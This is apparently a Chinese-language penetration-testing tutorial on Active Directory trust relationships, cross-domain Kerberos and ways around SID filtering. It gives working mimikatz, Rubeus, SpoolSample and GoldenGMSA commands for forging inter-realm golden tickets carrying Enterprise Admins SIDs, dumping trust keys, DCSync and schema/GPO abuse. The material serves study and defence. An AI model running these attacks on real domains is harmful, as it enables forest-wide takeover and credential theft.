域信任关系利用与SID 过滤绕过

#域信任关系

在Active Directory中提供了多种具有不同用途的信任类型,域信任的作用是解决多域环境中的跨域资源共享问题,也方便对域网络的管理和维护。

Enterprise Admins组的成员对一个林中所有的域具有完全控制权限。

  1. 单双向信任关系

    顾名思义,单向就是A域能访问B域资源,反过来却不行;双向是两边都可以互相访问。

    Inbound 表示传入信任,允许当前域可以访问其他域。Outbound 表示传出信任,表示其他域可以访问当前域。信任方向指向的域代表指向的域受当前域信任。

  2. 传递性与非传递性信任关系

    传递性却决于信任关系是否能够被拓展到创建该信任关系的两个域之外。非传递性的信任关系可以被用来隔绝与其他域的信任关系。

    在域林中创建新的域,默认与父域是双向且传递的信任关系。如果这个新建的域中又创建了一个子域,那么信任路径流会向上拓展到新域和父域之间的信任关系。


  • 下面根据向域树中或者林根域添加新域情况来分析(自动创建)

    只要有新的域加入到域树中,那么就会创建父子信任关系(Parent-Child)。它只能存在于同一颗域树中且一定是双向且传递的信任。可传递性信任关系的双向性使得活动目录中的全局编录信息可以复制到所有层级的的域中。

    当将一个新的域树添加到域林中时,会建立Tree-Root 信任关系。活动目录安装向导会自动创建一个双向且传递的信任关系,在同一个域林中的两颗域树根域之间建立。

  • 快捷信任关系(Shortcut)、外部信任关系(External)、领域信任关系(Realm)和林信任(Forest)需要手动设置。这些信任关系类型必须使用新建信任关系向导或者Netdom 来创建。

    1. 快捷信任关系指是在同一林中的两个子域间建立直接的信任关系。

      因为在同一个林中域的组织关系是树状结构,从一个子域到另外一个域,需要从树枝的子域顺寻到根域,然后从根域继续顺寻到另外一个子域,而跨域链接相当于在两个子域之间之间建立了一个快捷方式的信任关系,以减少认证和授权的时间和步骤。

    2. 外部信任关系指两个不同域林中的域之间的信任关系,此关系是非传递的。如果想要创建一个双向的信任关系,必须手动在每一端设置一个单向的信任关系。

    3. 林信任关系指两个域林的林根域通过单个信任关系联系起来以提供跨域认证和授权。林信任关系是不可以扩展到第三个域林中的,也就是没有传递性。

    4. 领域信任是为了让AD跟非windows系统的kerberos建立关系而存在的信任。

#查询域信任关系

信任关系存放在林根域的全局编录中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#查询域信任关系
nltest /domain_trusts
#查询当前域与test.local域的信任关系
Get-ADTrust -Identity test.local

#获取根域信息,可查看有哪些域
powershell [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
#查看当前域信息
powershell [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
#查看当前域信任关系
powershell ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
#查看当前域全局编录地址(根域域控地址)
powershell [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs

用户加入林外部域时,会出现在 CN=ForeignSecurityPrincipals,DC=domain,DC=com 组中。只要枚举 ForeignSecurityPrincipals 组,就可得知哪些用户具有这个外部森林的访问权限。

#信任域之间的认证过程

环境: Jack 在A.com 域(域控为DC1),要访问在B.com 域(域控为DC2) test 机器的cifs服务。(AB 域双向信任)

使用信任关系时,两个域的域控制器需要共享一个信任密钥(Inter-Realm Key,域间密钥)以保证通信安全。当设置域B 到域A 的单向信任时(B信任A),将在域A中创建一个名为B$ 的信任帐户。当域 A 中的用户请求域 B 中的服务票证时,此信任帐户的Hash 用于加密域间 TGT。

信任关系中的两个域共享的信任密钥(明文存储但包含不可打印字符)存储在双方活动目录的 TDO 中 (Trusted Domain Object)。B 域控制器每三十天更改一次存储在 TDO 中的密码,修改密码后向A 域发起通知要求其设置新密码。B 域的TDO 是CN=A.com,CN=System,DC=B,DC=com ,A 域的TDO 是CN=B.com,CN=System,DC=A,DC=com ,它们存储的密码是相同的。

在单向信任关系中,信任账户(在User 组以$结尾)只在受信任域中被创建,其密码就是TDO 存储的密码。当双向信任关系被创建时,就会在双方都创建一个信任账户,在全局编录中存档对方域的 SPN、DNS 等信息。

信任域之间的认证授权过程(下面是简化流程,中间忽略了session key,其实和请求普通服务的Kerberos 流程基本相同)

  1. Jack 向 DC1 发起请求获取TGT 票据。(SID History 会被添加到PAC 的ExtraSids字段中 )
  2. Jack 使用 TGT 票据向 DC1 发起访问 cifs/test.B.com 服务的TGS_REQ 请求。由于服务域名和当前域不同,在TGS 请求中指定NAME_CANONICALIZE字段表明服务可能在其他域中。DC1 在全局编录中查找到请求的服务在B.com 域中,返回使用域信任密钥(B.com$)加密的跨域 TGT(Referral TGT,此票据中的PAC 完全复制于TGT)。
  3. Jack 使用跨域 TGT 向DC2 发起TGS_REQ 请求cifs/test.B.com服务 ,DC2 使用域信任密钥(TDO中)验证跨域 TGT 中的信息,验证成功则修改跨域 TGT中的PAC中的某些字段后,添加到服务票据并返回(服务票据PAC中的ResourceGroup 结构将会包含Jack 用户在B 域中所属的域本地组,表示其在B域中的权限)。

#SID History

基本概念

每个用户都有SID,而SID 就是用户主体的标识,用于访问资源时进行权限判断。

SID History 主要用于域迁移。当用户从一个域迁移到另一个域时,会重置该用户的特权创建一个新的SID,并将该用户添加到新的组中。而该用户在旧域中所属组的SID 就存储在用户的SID History属性中。

当用户想要访问旧域中的资源时,他的历史SID将被添加到其PAC的ExtraSids字段中。旧域通过检查ExtraSids,并授予用户原有的权限,使用户得以访问旧域资源。所以可以通过编辑SID 历史记录,来注入其他域的管理权限。

Tips: ExtraSids字段内容还包含其他域通用组的SID、历史SIDs、其他身份。

SID 过滤机制

微软称林是活动目录的安全边界,SID 过滤默认为林信任和外部信任启用,但在林内部禁用。

仅当迁移的用户需要访问其先前域中的资源时,才需要 SID 历史记录。如果没有用户有此要求,则可以应用 SID 过滤。

1
2
3
4
5
6
#在A域信任B域的情况下,在A域域控上执行,将开启SID过滤,重新启动后生效
netdom trust /d:B A /Quarantine:YES
#不加yes会显示状态
netdom trust /d:B A /Quarantine:
#/EnableSIDhistory:[Yes/No] 参数仅适用于**林信任**。
netdom trust /d:B A /enablesidhistory:yes

不同的信任类型有不同的过滤规则,详情参考 Filtering and Claims Transformation

AlwaysFilter、ForestSpecific、EDC、DomainSpecific、NeverFilter 这5种规则包含了会过滤/忽略的SIDs。开启SID 过滤后,这些规则会应用于不同的信任关系(如林信任、林内信任、外部信任等)。

对于林信任来说,如果A 林信任B 林,那么A 林在生成服务票据的PAC 时,会处理B林发过来的跨域TGT中的PAC,只允许B 林中各个域的所有SID,过滤PAC 中有关 A 林或其他林,甚至未知的SID 。

#利用方法

然而每个域的 SID 都不同,无法知道哪些用户在目标域是管理员权限以及他们的SID。但企业管理组  Enterprise Admins 会被林内的域加入到本域的域管理员组且只存在于根域中,其 SID 为根域的 SID 加上519 。将 Enterprise Admins 的 SID插入到用户 SID历史记录中,则该用户可以在整个林中拥有管理权限。

#Krbtgt 密钥创建跨域金票

Tips: 受SID 过滤影响

mimikatz misc::addsid 可以编辑用户的SID History属性。但可以创建一个TGT 后直接将SID History 注入到PACExtraSids字段中。

已控newtree.local域控,获取根域dc01.test.local权限。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#域控上导出krbtgt 用户hash
mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt" exit
#mimikatz
#/user 伪造的的域用户 /sids EA组sid /sid 当前域sid /domain当前域 /krbtgt 当前域krbtgt用户
mimikatz.exe "kerberos::golden /user:administrator /sids:S-1-5-21-331789915-2083398572-1041350406-519 /sid:S-1-5-21-1380592208-1289200226-379417545 /domain:newtree.local /krbtgt:715c92d8639d13c358be92c632bd9915 /ptt" exit
#Rubeus
#/user 伪造子域中的用户名 /id 子域用户的RID /sid 子域sid /group 伪造子域用户所在的组RID /sids 企业管理组SID /aes256 krbtgt用户aes256密钥
Rubeus.exe golden /user:administrator /id:500 /domain:newtree.local /sid:S-1-5-21-1380592208-1289200226-379417545 /groups:513 /sids:S-1-5-21-331789915-2083398572-1041350406-519 /aes256:bf9ea5c1659f586dc206ca2b797c9ad19a69df43d2d521234079a27f955cd0a4 /ptt
#impacket ticketer.py 也可以添加extra SID 到票据中

dir \\dc01.test.local\c$

如果域间没有信任关系,SID 过滤策略会忽略 extra SID(不复制到ST PAC中)

Tips: 要在其他域中执行dcsync攻击,使用Enterprise Domain Controllers(S-1-5-9)Domain Controllers(S-1-5-21-domain-516)组的SID能够达到更隐蔽的效果,因为DC通常会执行dcsync中的同步规则。

#域信任密钥创建跨域金票

Tips: 受SID 过滤影响

和上面方法的唯一区别是通过域信任密钥创建域间转投TGT,添加企业管理员组到TGT PAC的ExtraSids字段。

已控newtree.local域控,获取根域dc01.test.local权限。

双向信任关系其实是两个单向信任关系的叠加,所以会有两个密钥。下图可看到有[In] NEWTREE.LOCAL -> TEST.LOCALTEST.LOCAL信任NEWTREE.LOCAL)和[Out] TEST.LOCAL -> NEWTREE.LOCAL 两种不同的密钥。因为这里要从NEWTREE.LOCAL域构造域间黄金票据访问林内部TEST.LOCAL域,所以使用 IN 这个 密钥。上面命令构造成功后将具备 TEST.LOCAL的管理员权限。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#查找信任账户
Get-ADUser  -LDAPFilter "(SamAccountName=*$)" | select SamAccountName
#获取信任账号的NTLM(直接dcsync对应账号也行)
mimikatz.exe privilege::debug "lsadump::lsa /patch /user:dc01$" "lsadump::trust /patch" "exit"

#Rubeus
#这里使用RC4密钥,这也是MS-KILE(微软实现的Kerberos v5协议)默认使用的。
#参数前面也介绍过了,这里/service指向的是父域TGS服务的SPN(后面会向其申请ST)/rc4 即域间信任密钥
Rubeus.exe silver /user:administrator /id:500 /domain:newtree.local /sid:S-1-5-21-1380592208-1289200226-379417545 /groups:513 /sids:S-1-5-21-331789915-2083398572-1041350406-519 /service:krbtgt/test.local /rc4:9ffbe43ea370fe957e7c39e2409b2a14 /nowrap
#还需使用票据主动向父域DC请求TGS
Rubeus.exe asktgs /service:cifs/dc01.test.local /dc:dc01.test.local /ticket:doIFazCCBWegAwIBBaEDA... /ptt
#mimikatz
#/krbtgt 域间信任密钥 /sid 当前域sid /sids EA组的sid
mimikatz.exe "Kerberos::golden /admin:administrator /domain:newtree.local /sid:S-1-5-21-1380592208-1289200226-379417545 /sids:S-1-5-21-331789915-2083398572-1041350406-519 /krbtgt:9ffbe43ea370fe957e7c39e2409b2a14 /service:krbtgt /target:test.local" "exit"
#在主动申请TGS
Rubeus.exe asktgs /service:cifs/dc01.test.local /dc:dc01.test.local /ticket:ticket.kirbi /ptt

dir \\dc01.test.local\c$

注意这里无论使用Rubeus还是mimikatz 都不能直接PTT,获得转投TGT 后,需要手动向dc01.test.local请求TGS 票据。使用PTT 的话,请求cifs/dc01.test.local时候是向本域dc02.newtree.local 发送的转投TGT,本域不识别。 单项信任关系的利用

当设置域B到域A的域或林信任时(B信任A),将在域A中创建一个名为B$的信任帐户(该账户就是A域中的一个域用户)。当域 A 中的用户请求域 B 中的服务票证时,信任帐户的Hash 用于加密域间 TGT。这种单向信任如何利用呢?

其实简单点说,由于A 域中创建了一个B$ 的账户,它也是一个域账户,所以可以用于kerberos认证。由于知道它的Hash,所以可以用它去申请服务票据进行Kerberost 等等操作,但无法用于NTLM 认证。

#无约束委派跨域利用

Tips: 此方法也受SID 过滤策略的影响,开启SID 过滤后,不会发送TGT 到指定服务。

在获得了域林中某个域控(默认启用非约束委派)的权限或配置了无约束委派的服务器权限情况下。使其他域的域控制器向已被控制服务器送身份认证请求,获取目标域控机器账户(或其他用户)TGT。

1
2
3
4
5
6
7
8
#在dc.a.com使用rubeus监控身份认证请求。(intrval指定监控的时间间隔,filteruser指定关注的用户)
Rubeus.exe monitor /monitorinterval:5 /filteruser:BDC$ /nowrap
#使用SpoolSample 让目标域控bcd.b.com向dc.a.com发送身份验证请求。
SpoolSample.exe bdc.b.com dc.a.com
#rubeus捕捉到认证请求后保存TGT数据。
Rubeus.exe ptt /ticket:TGT数据.txt
#然后请求目标域的krbtgt Hash
mimikatz.exe "lsadump::dcsync /domain:B.com /user:B\krbtgt"

#绕过SID 过滤

CN=Configuration,DC=root,DC=local 分区是用于林的配置信息,并被复制到林中的每个域控制器。此外,林中的每个可写域控制器都拥有配置 NC 的可写副本。这意味着子 DC(不是只读 DC)可以通过查询其本地副本来读取和写入林的配置 NC 下的任何内容。下面三种方式都是通过CN=Configuration,DC=root,DC=local 分区来利用的。

利用环境:林内,在一个双向信任的父子域中,父域开启了SID 过滤。

  • GPO

    在子域域控上以system权限可以链接GPO到AD 复制站点,包括父域DC所在的站点。

    1
    2
    3
    4
    5
    6
    
    #在父域检查复制站点
    Get-ADDomainController -Server root.local | select HostName, ServerObjectON
    #子域域控以system权限执行,链接test GPO到目标 
    New-GPLink -Name "test" -Target "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=root,DC=local" -Server child.root.local
    #等待复制到父域,然后在父域域控上查看GPO被应用了
    gpresult /r
    

    通过GPO 可以设置计划任务等来获取权限。

  • Golden gMSA

    GoldenGMSA 工具使用 LDAP 通过读取CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,DC=root,DC=localmsKds-ProvRootKey 对象的属性来获取密钥。所以同理,在子域以system权限执行,可以读取其本地副本的对象。

    https://github.com/Semperis/GoldenGMSA

    1
    2
    3
    4
    5
    6
    7
    8
    
    #在子域域控以system权限执行
    #在线计算
    GoldenGMSA.exe compute --sid "5-1-5-21-3721226516-2472762132-231580280-1601" --forest child.root.local --domain root.local
    #还可以本地计算
    GoldenGMSA.exe kdsinfo -forest child.root.local
    GoldenGMSA.exe gmsainfo --domain root.local
    #kdskey和pwdid参数值为前两条命令执行结果
    GoldenGMSA.exe compute --sid"5-1-5-21-3721226516-2472762132-231580280-1601" --kdskey xxxxx --pwdid
    
  • 利用schema 分区

    之前也介绍过活动目录的schema分区包含对林中创建的每个对象的定义,也包含对活动目录中每个对象的属性的定义。例如defaultSecurityDescriptor 属性为新创建对象的默认ACL。

    在子域上直接以system 权限修改Schema 中的defaultSecurityDescriptor 对象会报错。但可以先添加一个指定用户对CN=Schema,CN=Configuration,DC=root,DC=local 对象的写权限,并继承到所有的classSchema对象。

    1
    2
    3
    4
    5
    
    #获取defaultSecurityDescriptor属性现有的默认acl
    Get-ADObject "CN=User,CN=Schema,CN=Configuration,DC=root,DC=local" -Properties defaultSecurityDescriptor | select defaultSecurityDescriptor |ft -Wrap
    
    #修改defaultSecurityDescriptor属性的ACL
    Set-ADObject -Identity "CN=User,CN=Schema,CN=Configuration,DC=root,DC=local" -Replace @{defaultSecurityDescriptor='xxx';} -Verbose -Server root.local
    

    还有其他利用方式,比如删除属性的保密标志。

  • 跨林的利用方法(同样适用于林内)

    林信任是默认开启SID 过滤的且上面介绍的方法也仅限与林内。

    前提: A 林信任B 林。

    1. 如果B 林中的用户本身在A 林中属于某个重要安全组的话,依然是可以利用的。
    2. 如果A 林允许了历史sid,那么只会对ExtraSids字段的DA/EA/Account Operators组进行过滤。如果有高权限用户/组,且RID>1000(例如exchange相关的组),那么就可以使用历史SID 伪造该组。

#参考

Active Directory forest trusts part 1 - How does SID filtering work?

SID filter as security boundary between domains? (Part 1)

域、域树、域林、根域

基于域信任关系的域攻击 --文中有些许错误

加载评论